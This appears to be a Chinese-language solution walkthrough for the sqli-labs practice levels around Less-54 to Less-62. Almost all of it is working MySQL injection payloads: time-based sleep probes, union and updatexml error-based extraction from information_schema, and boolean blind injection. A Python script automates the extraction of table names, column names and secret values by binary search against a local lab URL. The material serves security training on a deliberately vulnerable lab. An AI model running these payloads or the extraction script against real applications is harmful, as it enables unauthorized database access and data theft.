复制代码
id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合
id=0' union select 1,database(),3 --+ # 全回显
id=0' union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题
复制代码
id=1 and if(1=1,sleep(1),1) 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
id=1" and if(1=1,sleep(1),1) and "1"="1 此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1 ") LIMIT 0,1
id=1' and if(1=1,sleep(1),1) and '1'='1 此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1 ') LIMIT 0,1
和less54一样
id=1) and if(1=1,sleep(1),1) and (1)=(1 # 括号闭合
id=0) union select 1,str_foo,3 --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
复制代码
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
复制代码
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+ # str_foo是占位符,使用的时候替换掉
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
# 查字段
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)
复制代码
跟58、59一样
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现("")闭合
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
复制代码
跟58、59、60一样
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+ # 报错回显
复制代码
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1
id=1) and if(1=1,sleep(1),1) and (1)=(1
id=1") and if(1=1,sleep(1),1) and ("1")=("1
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
python
复制代码
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecter
dict_para_data = {
'id' : 'hack123'
}
vuln_para = 'id'
http_type = 1
url = "http://127.0.0.1/sqli-labs/Less-62/"
expected_data = "Password"
payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"
payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"
str_foo1 = "length(database())"
str_foo2 = "database()"
# 爆库名
# db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)
# db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, db_len)
# 爆表名
str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)
tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, tb_len+1)
# 爆字段
str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)
colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)
# 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量
index = colu_result.find('secret_')
code = colu_result[index + len('secret_'):index + len('secret_')+4]
str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"
str_foo2 = "(select secret_" + code + " from "+ tb_result +")"
colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo1, str_foo1, 40)
colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type, url, expected_data, payload_foo2, str_foo2, colu_len+1)